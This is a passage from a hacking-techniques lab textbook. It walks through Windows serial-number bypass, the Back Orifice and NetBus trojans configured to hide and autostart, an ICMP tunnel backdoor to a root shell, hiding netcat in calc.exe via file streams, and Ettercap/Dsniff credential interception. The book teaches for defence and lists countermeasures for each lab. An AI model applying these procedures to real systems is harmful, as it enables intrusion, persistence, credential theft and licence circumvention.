OK and log into\nthe computer. The moment the user logs in, a file will be created and saved\ninto the directory identified earlier (C:\\pass.txt).\n" }, { "page_number": 510, "text": "Vulnerability Scanning\n\u0001\n497\nAt a later time (preferably when no one is around), the attacker can return\nto the exploited computer and browse to the directory containing the pass-\nword file.\n" }, { "page_number": 511, "text": "498\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe attacker will of course remove this file, but for this lab I simply opened\nit. As you will notice the Administrator password is listed in the file.\n*Note: Although this lab requires local access to the computer, take a good look the\nnext time you walk around the office and notice the unlocked workstations\njust sitting there with no one at the desk. Better yet, take a look at all the\ncomputers at your local computer store. They are all unlocked by default and\nmany of them allow anyone to execute anything he or she wants. Many\ncomputer stores simply assume that if they do not allow Internet access they\nare alright, but that is not so.\n" }, { "page_number": 512, "text": "Vulnerability Scanning\n\u0001\n499\nLab 74: Bypassing Microsoft Serial Numbers \nBypassing Serial Number Protection: RockXP/Custom Script \nPrerequisites: None\nCountermeasures: Frequent serial number verification, strong security\npolicy\nDescription: Like many other companies, Microsoft uses serial numbers\nto protect its software from being handed out freely. Serial numbers\nhave a flaw as well because with the Internet these numbers can be\nfreely passed out to anyone. Because of this, Microsoft came up with\na verification process that validates the product key of the version of\nWindows (XP) you are running before allowing you to download any\nupdates. Although several “Crack” versions have been released on the\nInternet, many of them are corrupted or contain viruses or Trojan\nhorses and cannot be trusted. By using one free software package and\na custom script, anyone can bypass Windows XP’s product key verifi-\ncation or obtain a valid copy of a Microsoft Office product’s serial\nnumber.\nProcedure: Execute the first application, gather the data, insert into the\ncustom script, and execute.\nOpen the RockXP application by clicking on the rockxp3.exe icon.\n" }, { "page_number": 513, "text": "500\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe RockXP application will start and you are greeted with the Welcome\nscreen. Click on I Agree. \nThe remaining program tabs will appear across the top of the application.\nClick on the MS Product Key tab.\n" }, { "page_number": 514, "text": "Vulnerability Scanning\n\u0001\n501\nBy clicking the downward-pointing arrow you can choose from the list of\ninstalled Microsoft products installed on the computer. \nSelect one from the list. The working, valid serial number will be displayed\nfor the application you selected.\n" }, { "page_number": 515, "text": "502\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick the \n button. The serial number can be saved to a desired\nlocation. In this example the serial number was saved as a text file named\nOffice2003.txt.\nWhen the file is opened, the serial number is listed as well as the Microsoft\napplication it is assigned to.\n*Note: RockXP demonstrates how easy it is for someone to steal serial numbers from\nMicrosoft applications. By combining this application with a script, the actual\nverification process for the Windows XP product key can be easily bypassed. \nAdd to my list\n" }, { "page_number": 516, "text": "Vulnerability Scanning\n\u0001\n503\nClick on the My Product Key tab along the top of the application. The product\nkey on the computer will be displayed. (Run this on a Windows XP machine.)\n" }, { "page_number": 517, "text": "504\n\u0001\nPractical Hacking Techniques and Countermeasures\nYou have the same option as before to save the product key to a file by clicking\nthe Add to my list button or you can change the product key to another one\nby editing the lower text area filled with Xs. (This is not recommended.)\nYou can also back up the Windows Product Activation (WPA) file by\nclicking on the Click here to save WPA.DBL. For the purposes of this lab,\nassume that the attacker wants to simply bypass the Windows XP product key\nverification process on another computer he or she owns and document the\nproduct key identified.\nOnce you have documented (or saved) the product key of a valid Windows\nXP computer, close the RockXP application.\nOpen the Notepad application by clicking on Start/Programs/Accesso-\nries/Notepad.\n" }, { "page_number": 518, "text": "Vulnerability Scanning\n\u0001\n505\nEnter the following text, as shown.\n*Note: You are writing a Visual Basic (VB) Script. This book will not go into details\nof becoming a VB Script programmer; just take it on faith that this script\nworks when typed correctly. For the Xs listed in the script, enter the product\nkey obtained with RockXP. Notice that the second time you enter the product\nkey in the script you need to remove the hyphens.\n" }, { "page_number": 519, "text": "506\n\u0001\nPractical Hacking Techniques and Countermeasures\nSave the file as ChangeVLKey.vbs, making sure the file type is set to\nAll Files. If you forget this step the file will be saved as ChangeV\nLKey.vbs.txt.\nPlace this file onto a computer where you want to bypass the Windows\nXP Product Key verification process and double-click on the file to execute\nthe following:\nExecute the script and then perform Windows updates as normal.\n*Note: This lab MUST stop at this point. To obtain the knowledge of how to bypass\nthe product key verification process is not illegal in itself. To actually execute\nthis script violates the Microsoft End User Agreement and I am sure several\nother laws. To actually go out to the Microsoft Web site and perform Windows\nupdates is nothing less than illegal, and I strongly recommend that you do\nNOT attempt to actually use this lab. The purpose of this lab is to demonstrate\nexactly how easy it is to bypass the current product key verification process.\nOne final point about this lab is that this bypass only works for the Corporate\nversion of Windows XP.\n" }, { "page_number": 520, "text": "Vulnerability Scanning\n\u0001\n507\nLab 75: Vulnerability Exploit \nAssessment of Target Security: Web Hack Control Center \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion computers, host-based firewalls\nDescription: Web Hack Control Center (WHCC) is a Web Server Vulner-\nability scanner. WHCC gives you the means to identify which security\nvulnerabilities exist on your Web servers by scanning them for the\npopular server exploits. The Nikto (Lab 69) database can be imported\nfor use within WHCC.\nProcedure: Install, execute against the target(s), and analyze the results.\nDouble-click on the whcc-current.exe file to begin the installation.\nInstall WHCC with the default options.\nWHCC will now complete installing. You must restart the computer before\nusing WHCC. Click Finish.\n" }, { "page_number": 521, "text": "508\n\u0001\nPractical Hacking Techniques and Countermeasures\nDouble-click on the WHCC icon on either the desktop or the Quick Launch\nBar.\nThe WHCC application will begin by opening your computer’s browser.\n\u0001\nThe top left identifies the Hosts scanned and associated Vulnerabilities.\n\u0001\nThe top right displays the Web site in either Browser View or Designer\nView, which allows for viewing of the Web site source code.\n\u0001\nThe bottom left will list any Exploits discovered.\n\u0001\nThe bottom right will display any details WHCC has found on exploits.\n" }, { "page_number": 522, "text": "Vulnerability Scanning\n\u0001\n509\nClick the Start Scan \n button.\nThe WHCC Options screen is displayed.\n\u0001\nEnter the Target IP or IP Range.\n\u0001\nClick on Force Generic Check.\n\u0001\nClick on Automatic Generic Check.\n\u0001\nMake sure Pop Ups is set to No.\n\u0001\nLeave all other fields blank.\n\u0001\nClick the \n button.\nThe WHCC scanner will start.\nScan\n" }, { "page_number": 523, "text": "510\n\u0001\nPractical Hacking Techniques and Countermeasures\nDirectly below the browser address bar WHCC displays one-half the status\nof the scanner’s progress by identifying the vulnerability check it is currently\nperforming out of the total number of exploits available, the target, and type\nof exploit currently being checked.\nThe bottom of the screen displays the last half of the scanner’s progress\nby displaying a percentage of completion.\nBy clicking on the Vulnerabilities tab and selecting a target, you can\ndisplay the exploits identified by WHCC. Click on an exploit, and the details\nare given in the lower right side of the screen while either the specific results\nor enhanced details of the exploit are displayed.\n*Note: I included WHCC in this book because of its ability to add custom exploits\nor to import the Nikto database. WHCC also includes the ability to perform\nSQL injection at the target and also has a brute force feature, but I have had\nunstable results at this point. (I used the newest Beta version, which may add\nto this problem.)\n5% - 172.16.16\nChecks 135 of 7506 Server 172.16.1.46 Type Microsoft IS/SD [Plus Generic]\n" }, { "page_number": 524, "text": "Chapter 9\nWireless\n" }, { "page_number": 525, "text": "" }, { "page_number": 526, "text": "Wireless\n\u0001\n513\nLab 76: Locate Unsecured Wireless \nLocate Unsecured Wireless: NetStumbler/Mini-Stumbler \nPrerequisites: Compatible wireless card\nCountermeasures: Static Media Access Control (MAC) addressing, wire-\nless monitoring, minimal range\nDescription: NetStumbler is a tool for Windows that allows you to detect\nwireless local area networks (WLANs) using 802.11b, 802.11a, and\n802.11g.\nProcedure: Install, execute, and analyze the results.\n*Note: NetStumbler has come a long way and is an excellent tool for locating wireless\naccess points. I have personally used this tool to locate unsecured wireless\naccess points at a specific facility located in the United States that routinely\nservices Air Force One. Once I brought it to the attention of the facility’s IT\nDepartment, the wireless was secured and I was even given a personalized\ntour of the facility.\nDouble-click on the netstumblerinstaller_0_4_0.exe icon to start the\ninstallation.\n" }, { "page_number": 527, "text": "514\n\u0001\nPractical Hacking Techniques and Countermeasures\nInstall NetStumbler with the default options. The installation will now\ncomplete. Click Close.\nThe NetStumbler Help screen will appear. You may read or close this\nwindow.\n" }, { "page_number": 528, "text": "Wireless\n\u0001\n515\nDouble-click the Network Stumbler icon on the desktop.\nThe NetStumbler application will start.\n\u0001\nThe left side of the application lists the categories and filters.\n\u0001\nThe right side of the screen lists the specifics.\n*Note: It is important to understand at this point that NetStumbler will only work\nwith specific network cards and VMware Workstation may require you to set\nyour network card to Network Address Translation (NAT) instead of the\nbridged setting in order for VMware Workstation to identify your wireless\ncard. As it appears my VMware Workstation-compatible wireless card has\nbeen misplaced, the remainder of this lab was conducted from the host\ncomputer and not the VMware Workstation machine. The results are identical.\n" }, { "page_number": 529, "text": "516\n\u0001\nPractical Hacking Techniques and Countermeasures\nWhen you click on Filters and then on Encryption Off, only those wireless\ndevices without Wired Equivalent Privacy (WEP) turned on will be displayed.\n*Note: A device without WEP turned on allows anyone to connect to that device\nand have as much access as that device allows. For example, if the wireless\ndevice is an access point with an Internet connection, then it is broadcasting\na free Internet connection to anyone with a wireless card. There are Internet\ncafés, airports, and so forth that have WEP turned off but that have a connection-\nspecific screen that all users will see when attempting to connect to the\nInternet.\n*Note: A bigger concern than free Internet is when wireless devices allow unautho-\nrized connectivity to computers without the intent of the computer’s owner. \nFrom your computer’s wireless card configuration screen, change the SSID\nname to one of the Encryption Off devices located by NetStumbler. In this\nexample the wireless device with the SSID of \"linksys\" was used. You may\nreceive a warning about connecting to an unsecured wireless device. If so,\nclick Yes.\n" }, { "page_number": 530, "text": "Wireless\n\u0001\n517\nTo verify the connection bring up a Command shell, and then type ipconfig\nand press Enter.\nNotice that this wireless device handed out an IP address to my computer.\nNow I want to check to see if I have a free Internet connection by opening\nmy Internet Explorer.\n" }, { "page_number": 531, "text": "518\n\u0001\nPractical Hacking Techniques and Countermeasures\nEverything looks good so far. But what about other computers on the\nnetwork? Many times home users who have unsecured access points also have\nunsecured home computers. To verify I used Angry IP Scanner (see Lab 29).\nI can identify my computer (Mark) and another computer on this network\n(markm). I was also looking for the Windows shares (ports 139, 445). Refer\nto Chapter 4 to exploit this weakness.\n*Note: I want to mention that there is a version of NetStumbler named Mini-Stumbler\nthat works on PDAs. Once installed on the PDA the results are the same. I\nalso want to mention that one of the neatest features of NetStumbler/Mini-\nStumbler is that they support Global Positioning Satellites (GPS) technology.\nIf you attach a GPS device to your computer while running NetStumbler, you\nwill see the latitude and longitude of where your computer is at the moment\nthe device was discovered. These points can be mapped for future use.\n" }, { "page_number": 532, "text": "Wireless\n\u0001\n519\nLab 77: Trojan \nUnauthorized Access and Control: Back Orifice \nPrerequisites: NULL Session\nCountermeasures: Secure ACLs, Bastion servers/workstations, Trojan-\ndetection software, updated antivirus\nDescription: According to the developers, “Back Orifice (BO2K) is the\nmost powerful network administration tool available for the Microsoft\nenvironment, bar none.” It has, however, been used in the past to gain\nunauthorized access and total control over computers, and I wanted\nto include it in this chapter for that reason alone.\n*Note: Most times, though not always for unauthorized access/control physical\naccess to the target, it is possible to install this application remotely as well.\nProcedure: Install server/client parts, set the parameters, and execute.\nOn the Target Computer\nDouble-click on the bo2kcfg.exe icon to begin installing the server part of BO2K.\nThe BO2K Server Configuration screen will be displayed. Click the Open\nServer button.\n" }, { "page_number": 533, "text": "520\n\u0001\nPractical Hacking Techniques and Countermeasures\nSelect the bo2k.exe. Click Open.\nThe next step is to load Plugins to the server configuration. Click the Insert\nbutton.\n" }, { "page_number": 534, "text": "Wireless\n\u0001\n521\nDouble-click on the plugins folder.\nDouble-click the io folder. Select the io_tcp.dll. Click Open.\n" }, { "page_number": 535, "text": "522\n\u0001\nPractical Hacking Techniques and Countermeasures\nWe still need more Plugins. Click the Insert button.\nDouble-click the plugins folder and then double-click the enc folder.\n" }, { "page_number": 536, "text": "Wireless\n\u0001\n523\nSelect the enc_null.dll file. Click Open.\nWe still need a couple more Plugins. Click the Insert button.\n" }, { "page_number": 537, "text": "524\n\u0001\nPractical Hacking Techniques and Countermeasures\nDouble-click on the auth folder.\n" }, { "page_number": 538, "text": "Wireless\n\u0001\n525\nSelect the auth_null.dll file. Click Open.\nDouble-click the Insert button, then double-click the srv folder.\n" }, { "page_number": 539, "text": "526\n\u0001\nPractical Hacking Techniques and Countermeasures\nSelect the srv_control.dll button. Click Open.\nClick the Save Server button.\n" }, { "page_number": 540, "text": "Wireless\n\u0001\n527\nThe configuration will now be saved.\nIn the Option Variables section, click on the \u0001 symbol next to the TCPIO\nfolder. By selecting the Default Port you can change the port to which BO2K\nconnects.\n" }, { "page_number": 541, "text": "528\n\u0001\nPractical Hacking Techniques and Countermeasures\nIf you make any changes be sure to click Save Server. The configuration\nwill be saved.\nOn the Attacker’s Computer\nDouble-click on the bo2kgui.exe file to start the Client installation of BO2K.\nThe client needs to be configured as well. Click on Plugins, then Configure.\n" }, { "page_number": 542, "text": "Wireless\n\u0001\n529\nClick the Insert button.\n\u0001\nLoad the following Plugins. Double-click on the Plugins folder, then the io\nfolder, and select the io_tcp.dll file.\n\u0001\nClick the Insert button.\n\u0001\nDouble-click on the Plugins folder, then the enc folder, and select the\nip_tcp.dll file.\n\u0001\nClick the Insert button.\n\u0001\nDouble-click on the Plugins, then the auth folder, and select the\nauth_null.dll file.\n" }, { "page_number": 543, "text": "530\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn the Option Variables section, click on the \u0001 symbol next to TCPIO\nand select the Default Port. Set the default port to match the one set on the\nserver part earlier.\nClick the Add New Server button. The Edit Server Settings screen will\nappear.\n" }, { "page_number": 544, "text": "Wireless\n\u0001\n531\nEnter a Name and the IP Address of the target. Click OK.\nThe target will now appear in the list. Double-click on the target.\n" }, { "page_number": 545, "text": "532\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick the Connect button.\nThe item of interest here is Server Control. Double-click on the Server\nControl folder.\n" }, { "page_number": 546, "text": "Wireless\n\u0001\n533\nThe list of options available to execute against the target appears.\nSelect Shutdown Server and click the Send Command button. The target\nwill be immediately shut down.\n*Note: Remember that this tool can be installed remotely and, from the list of options\navailable to an attacker, you can plainly see just how much control an attacker\nwould have over the target.\n" }, { "page_number": 547, "text": "534\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 78: Trojan \nUnauthorized Access and Control: NetBus \nPrerequisites: None\nCountermeasures: Secure ACLs, Bastion servers/workstations, Trojan-\ndetection software, updated antivirus\nDescription: The NetBus Trojan, similar to the famous Back Orifice (BO)\nTrojan, is designed to hide itself inside a target host. It allows the installing\nuser access to the system at a later time without using normal authori-\nzation or vulnerability exploitation. NetBus allows the remote user to do\nmost of the functions BO can do, as well as open or close the CD-ROM\ndrive, send interactive dialogs to chat with the compromised system,\nlisten to the system’s microphone (if it has one), and a few other features.\nProcedure: Install the server and client parts, and execute against the\ntarget.\nOn the Target (Server)\nVerify the target IP address by typing ipconfig.\n" }, { "page_number": 548, "text": "Wireless\n\u0001\n535\nDouble-click on the nbpro210.exe icon to start the installation.\nThe NetBus Pro Welcome screen is displayed. Click Next.\n" }, { "page_number": 549, "text": "536\n\u0001\nPractical Hacking Techniques and Countermeasures\nRead the Information screen. Click Next.\nAccept the default installation directory. Click Next.\n" }, { "page_number": 550, "text": "Wireless\n\u0001\n537\nFrom the Select Components screen select the NetBus Pro Server and\nAdditional Components. Click Next.\nAccept the default Program Folders. Click Next.\n" }, { "page_number": 551, "text": "538\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Setup Complete screen will be displayed. Uncheck the README file\nand select the I would like to launch NetBus Pro. Click Finish.\nThe NetBus Pro Server screen will appear. Click Settings.\n" }, { "page_number": 552, "text": "Wireless\n\u0001\n539\nThe Server setup screen will be displayed.\nFrom the General tab set the following options for the server:\n\u0001\nSelect Accept connections.\n\u0001\nSet the Run on port to 25 as SMTP traffic is normally passed through firewalls.\n\u0001\nSet the password for this connection to occur.\n\u0001\nSet the Visibility of server to Invisible.\n\u0001\nSet the Access mode to Full access.\n\u0001\nSelect Autostart every Windows session.\n" }, { "page_number": 553, "text": "540\n\u0001\nPractical Hacking Techniques and Countermeasures\nFrom the Telnet Access tab set the following options:\n\u0001\nSelect Enable Telnet Access.\n\u0001\nSet the TCP port to 23.\n\u0001\nSet the password for this connection to occur.\n\u0001\nSet the Command line application to c:\\Windows\\Command.com.\n\u0001\nClick OK.\nOn the Attacker’s Computer\nVerify the target IP address by typing ipconfig.\n" }, { "page_number": 554, "text": "Wireless\n\u0001\n541\nDouble-click on the nbpro210.exe icon to start the installation.\nRepeat the previous steps but this time install the NetBus Pro Client. The\nNetBus Pro Client side will start.\n" }, { "page_number": 555, "text": "542\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick on the Add Host icon \n and enter the following target information:\n\u0001\nA Destination name.\n\u0001\nThe target IP address.\n\u0001\nThe TCP-port to connect to (as set on the server).\n\u0001\nA valid User Name (as set on the server).\n\u0001\nThe valid Password (as set on the server).\n\u0001\nClick OK.\nRight-click on the new target and click Connect.\n" }, { "page_number": 556, "text": "Wireless\n\u0001\n543\nThe bottom of the NetBus application displays a status bar. If successful\nNetBus will display Connected to target ip.\nClick Control and review all of the options available to the attacker.\n" }, { "page_number": 557, "text": "544\n\u0001\nPractical Hacking Techniques and Countermeasures\nThis lab will perform a Fun Stuff, Go to URL function. A URL box will be\ndisplayed. Type any valid URL and click OK.\nThe target computer will now open an Internet Explorer session and go\nto the Web site the attacker instructed it to go to.\n*Note: NetBus has been around long enough for several NetBus removal tools to\nbe developed. This tool is still effective as a Trojan, however, because of the\nsheer amount of unprotected computers.\n" }, { "page_number": 558, "text": "Wireless\n\u0001\n545\nLab 79: ICMP Tunnel Backdoor \nBidirectional Spoofed ICMP Tunnel: Sneaky-Sneaky \nPrerequisites: None\nCountermeasures: Updated antivirus, strong firewall ACLs\nDescription: Sneaky-Sneaky communicates in echo replies, which the\nkernel ignores and are not normally blocked. The packets the client\nand server send are spoofed, and the real IP is encrypted inside the\npayload. Sneaky-Sneaky uses this IP to communicate; the “visible”\nsource IP is never used. Remember that all commands in Linux are\ncase sensitive.\nProcedure: Compile server- and client-side components, connect, and\ncontrol.\nOn the Target (Server)\nIdentify the IP address of the target (server) by typing ifconfig and pressing\nEnter.\n" }, { "page_number": 559, "text": "546\n\u0001\nPractical Hacking Techniques and Countermeasures\nFrom the directory containing the compressed files type tar –zxvf icmp-\nbackdoor.tar.gz.\nThe files will uncompress into a new directory named icmp-backdoor.\nChange to the new directory by typing cd icmp-backdoor and pressing\nEnter.\nThe next step is to compile and create the server portion by typing make\nserver and pressing Enter.\nThe server portion will compile and create.\n" }, { "page_number": 560, "text": "Wireless\n\u0001\n547\nTo execute the new application, type: \n./ibd-server \nIn this example, the ICMP code is set to 0. The 0 makes the server respond\nwith Echo Reply headers.\nThe icmp-backdoor server portion will initialize. Proceed to the client part.\n" }, { "page_number": 561, "text": "548\n\u0001\nPractical Hacking Techniques and Countermeasures\nOn the Attacker’s Machine\nConfirm the attacker’s IP address by typing ifconfig and pressing Enter.\nFrom the directory containing the compressed files type tar –zxvf icmp-\nbackdoor.tar.gz.\nThe files will uncompress into a new directory named icmp-backdoor.\nChange to the new directory by typing cd icmp-backdoor and pressing Enter.\nCreate and make the client portion by typing make client and pressing Enter.\n" }, { "page_number": 562, "text": "Wireless\n\u0001\n549\nThe icmp-backdoor client will compile and be created.\nTo initialize the client and connect to the server, type: \n./ibd-client \nIn this example, the ICMP Code was set to type 8, Echo Request.\n*Note: Because the server is set to respond with Echo Reply and the attacker is using\nEcho Request, the traffic will look like normal traffic to firewalls and Intrusion\nDetection Systems (IDS) solutions.\n" }, { "page_number": 563, "text": "550\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe client will connect to the server. Notice your prompt has changed to\nthe # sign.\nTo verify you are actually connected to the server, type ifconfig and press\nEnter.\n" }, { "page_number": 564, "text": "Wireless\n\u0001\n551\nThe IP is 172.16.1.200, which verifies we are at a server terminal.\nAt this point, you can operate the keyboard as though you are sitting directly\nbehind the keyboard of the server. Run any command you would normally\nrun, such as ls –l for a detailed directory listing.\n" }, { "page_number": 565, "text": "552\n\u0001\nPractical Hacking Techniques and Countermeasures\nVerify your user mode by typing the command whoami and pressing Enter.\nSince we are attached as user root we have absolute control over this\ntarget.\n*Note: I have been asked many times, “If I already had the ability to connect and\nupload this program does that mean I already have root access?” The answer\nis “Not really.” The biggest advantage of this tool is the ability to set a backdoor\nfor you to return to at any point in time. Many times a few minutes of physical\naccess are all you need to set the back door and then return remotely.\n" }, { "page_number": 566, "text": "Wireless\n\u0001\n553\nLab 80: Hiding Tools on the Target \nHiding Files on the Target: CP \nPrerequisites: None Local/Admin Remote\nCountermeasures: SFIND Tool\nDescription: A common technique is for an attacker to stream files\ntogether to hide his or her tools inside a valid application. These tools\ncan then be extracted at any time in the future, even if the tool is found\nand deleted. This can obviously be a very damaging technique.\nProcedure: The netcat tool will be hidden inside the valid calculator tool\nfound in Windows. The Date/Time stamp does NOT change on the\ncalculator application, and by using this technique the MD5 checksum\n(the standard for computer forensics) is defeated!\nScenario: Hiding Netcat inside the Calculator Application\nVerify the Date/Time Stamp of the netcat application with the DIR command.\n" }, { "page_number": 567, "text": "554\n\u0001\nPractical Hacking Techniques and Countermeasures\nStream the netcat application into the calculator file by typing (case sen-\nsitive):\ncp nc11nt.zip calc.exe:nc11nt.zip\nVerify that the Date/Time Stamp has not changed on the netcat application\nwith the DIR command. \n" }, { "page_number": 568, "text": "Wireless\n\u0001\n555\nExecute the calculator program to verify that the application still works by\ntyping calc and pressing the Enter key.\nThe Windows calculator opens without incident.\nTo Verify\nDelete the nc11nt.zip file by typing del nc11nt.zip and pressing Enter.\nRun the following command (case sensitive):\ncp calc.exe:nc11nt.zip calc.exe\nThe nc11nt.zip file will be extracted again into the directory.\n*Note: Streaming files is such an easy thing to do and I personally know of no\nAdministrator even searching for “streamed” files on his or her network. This\ntechnique can be very dangerous as it defeats the MD5 checksum, and at this\npoint there are only a couple of applications that have the ability to detect\nthese “streamed” files. Security Administrators should not only be aware of\nthis technique but should routinely scan for the existence of these files.\n" }, { "page_number": 569, "text": "556\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 81: Capturing Switched Network Traffic \nIntercept/Exploit Traffic: Ettercap\nPrerequisites: None\nCountermeasures: Encryption, strong security policy, sniffer detection\ntools\nDescription: Ettercap is designed to accomplish man-in-the-middle\n(MTM) attacks. With live sniffing of data, live filtering, active, and\npassive capturing, Ettercap can be a very dangerous tool in the network\nenvironment, especially in a switched network, because it allows the\nuser to sniff traffic on a switch or manipulate the data.\nProcedure: Set the parameters, execute, and analyze the data.\nDouble-click the ettercap-0.6.b-installer-NT2KXP icon to begin the\nEttercap installation.\nInstall Ettercap with the default options.\nThe Ettercap installation will complete. Click Close.\n" }, { "page_number": 570, "text": "Wireless\n\u0001\n557\nYou will be asked: Do you want to install the packet driver now?\nClick Yes.\nInstall WinPcap 2.3 with the default options. The WinPcap installation\nwill complete. Click OK.\n" }, { "page_number": 571, "text": "558\n\u0001\nPractical Hacking Techniques and Countermeasures\nFrom the attacker’s machine click on Start/Programs/ettercap/ettercap\nprompt.\nThe ettercap prompt will now be displayed.\n" }, { "page_number": 572, "text": "Wireless\n\u0001\n559\nTo start Ettercap, type ettercap and press Enter.\nEttercap will detect the network cards installed and allow you to select the\none you want to use for the attack. For the purposes of this lab, select the\nVMware network card and press Enter.\n" }, { "page_number": 573, "text": "560\n\u0001\nPractical Hacking Techniques and Countermeasures\nEttercap will begin by sending out ARP requests based on the subnet mask in\nuse. In this example, the subnet mask is a Class B so 65,535 possible IP addresses\nare available for use; 65,535 ARP requests are sent out looking for a response.\nOnce Ettercap determines how many computers have responded to the\nARP requests, it will try to retrieve the hostname for each computer.\n" }, { "page_number": 574, "text": "Wireless\n\u0001\n561\nEttercap will then display a list of computers located. There are two iden-\ntical columns listed. This allows you to select one source and one destination\ncomputer from each list, respectively.\nIn this example, the Linux machine (172.16.1.58) was selected as the\nsource computer by highlighting the IP address and pressing Enter.\n" }, { "page_number": 575, "text": "562\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Windows 2000 server machine (172.16.1.60) was selected as the des-\ntination computer by highlighting the IP address and pressing Enter.\nBy pressing the H key at any time, the Help screen will be displayed. In\nthis case, the Help screen tells you that pressing the A key will start the ARP\npoisoning feature of Ettercap. Press the H key again to remove the Help screen.\nPress the A key to start Ettercap ARP poisoning.\n" }, { "page_number": 576, "text": "Wireless\n\u0001\n563\nEttercap will now see all the traffic between these two computers, even\nthough these computers are communicating via a switch as identified by\nEttercap in the lower right portion of the application with the word SWITCH.\nFrom a terminal session on the Linux machine, start an FTP connection to\nthe Windows server by typing ftp 172.16.1.60 and pressing Enter.\nIn this lab, when asked for a username, anonymous is used.\n" }, { "page_number": 577, "text": "564\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe password for the anonymous user is entered and the user has suc-\ncessfully logged in via FTP to the Windows 2000 machine.\nThe traffic between the two computers is monitored back on the attacker’s\nmachine. By highlighting each line of traffic, any usernames and/or passwords\nwill be displayed in the lower part of the application. In this example, the username\nof anonymous with the password of virtually@hacking.com was detected.\n" }, { "page_number": 578, "text": "Wireless\n\u0001\n565\nSniffing traffic on a switch and intercepting username/password combina-\ntions is bad enough; what about changing the data on the wire as it occurs?\nEttercap allows an attacker this option as well with the use of filters.\nFirst, ensure that the Linux machine can actually get to the Web site on\nthe Windows 2000 server.\nBack on the attacker’s machine, select the Linux machine as the source\ncomputer.\n" }, { "page_number": 579, "text": "566\n\u0001\nPractical Hacking Techniques and Countermeasures\nSelect the Windows 2000 server as the destination machine.\nBegin the ARP poisoning by pressing the A key.\n" }, { "page_number": 580, "text": "Wireless\n\u0001\n567\nBring up the Ettercap Filters screen by pressing the F key. In this example,\nwe want to edit the traffic on the source computer. Press the W key.\nInitially there will be no Filters. Press the A key.\n" }, { "page_number": 581, "text": "568\n\u0001\nPractical Hacking Techniques and Countermeasures\nA blank Filters setup screen will be displayed. Press the Enter key.\nThe Filter parameters screen will be displayed.\n" }, { "page_number": 582, "text": "Wireless\n\u0001\n569\nSet the following parameters for the Filter:\n\u0001\nProtocol: Tcp\n\u0001\nSource Port: (leave blank)\n\u0001\n(Destination) Port: 80\n\u0001\nSearch: lab81.com\n\u0001\nAction (Drop/Replace/Log): R\n\u0001\nReplace: www.cnn.com\n\u0001\nGoto if match: (leave blank)\n\u0001\nGoto if doesn’t match: (leave blank)\n\u0001\nPress the Enter key.\n" }, { "page_number": 583, "text": "570\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe new Filter will now be displayed. Press the Q key.\nYou will be asked: Do you want to save the filters (new filter) chain?\nPress the y key.\n" }, { "page_number": 584, "text": "Wireless\n\u0001\n571\nThe new Filter is not yet activated (notice the Filter still says OFF). Press\nthe S key.\nNotice the Filter has now changed to ON. Press the Q key to back up one\nscreen.\n" }, { "page_number": 585, "text": "572\n\u0001\nPractical Hacking Techniques and Countermeasures\nYou will be back at the main Ettercap screen.\nNow from the Linux machine every time the user attempts to go to the\nWindows 2000 server (lab81.com) he or she will be brought to\nhttp://www.cnn.com Web site.\n*Note: Even though there is a newer version of Ettercap available, it tends to act some-\nwhat “buggy” in the VMware environment. Another point I want to make is that\nmaking someone go to CNN instead of the Web site he or she wanted is more\nof a nuisance than anything else. The danger from this happens when the attacker\nhas the user redirected to a mock Web site of the original and through scripts\nlogs the users’ activity, usernames, passwords, keystrokes, and so forth.\n" }, { "page_number": 586, "text": "Wireless\n\u0001\n573\nLab 82: Password Capture \nCapture Passwords Traversing the Network: Dsniff\nPrerequisites: Libnet\nCountermeasures: Encryption, strong security policy\nDescription: The Dsniff application is a powerful tool and can be some-\nwhat confusing to use, especially for beginners. This lab will demon-\nstrate just how easy it is to use to capture unencrypted passwords sent\nacross the network.\nProcedure: Set the parameters, execute, and review the results.\nFrom the directory containing the Dsniff application type: \ndsniff –i 1\n\u0001\nThe –i option prepares to identify the interface for Dsniff to use.\n\u0001\nThe 1 is the interface specified for the –i option.\nThe Dsniff application will begin sniffing the network for unencrypted\npasswords and display them on the screen. In this example the username was\nmmouse and the password was MinniE. Because the text (pop) is also\ndisplayed, we know that this user just checked his or her e-mail; now so can\nanyone else who uses this information.\n*Note: Notice how easy it is to capture passwords with Dsniff. Keep in mind that\nthis is not the only use for Dsniff and you will only be able to see traffic that\nyour port on the switch allows. If you want to view all traffic on the switch,\nyou will need to be plugged into the “see all” port of the switch or perform\nswitch sniffing.\n" }, { "page_number": 587, "text": "574\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 83: Data Manipulation \nManipulate the Live Data Stream: Achilles \nPrerequisites: WebGoat, configure Web browser\nCountermeasures: Encrypt information within the URL, dynamic session\nIDs\nDescription: Achilles is a tool designed for testing the security of Web\napplications. Achilles is a proxy server, which acts as a man-in-the-\nmiddle during an HTTP session. A typical HTTP proxy will relay pack-\nets to and from a client browser and a Web server. Achilles will intercept\nan HTTP session’s data in either direction and give the user the ability\nto alter the data before transmission. For example, during a normal\nHTTP SSL connection, a typical proxy will relay the session between\nthe server and the client and allow the two end nodes to negotiate SSL.\nProcedure: Launch WebGoat, configure the Web browser, launch Achilles,\nand manipulate data in real time.\nDouble-click the webgoat.exe icon from the directory containing the\nWebGoat application.\n" }, { "page_number": 588, "text": "Wireless\n\u0001\n575\nWebGoat will initialize.\n*Note: WebGoat, written in Java, is a full J2EE Web application designed to teach\nWeb application security. It can be installed on any platform with a Java\nvirtual machine. Some of the current lessons are as follows:\n\u0001\nCross-site script\n\u0001\nSQL injection\n\u0001\nHidden form field management\n\u0001\nParameter manipulation\n\u0001\nWeak session cookies\n\u0001\nFail open authentication\n" }, { "page_number": 589, "text": "576\n\u0001\nPractical Hacking Techniques and Countermeasures\nMinimize the Tomcat screen. From the desktop, right-click the Internet\nExplorer icon. The Internet Properties screen will be displayed.\nClick on the Connections tab.\n" }, { "page_number": 590, "text": "Wireless\n\u0001\n577\nClick the 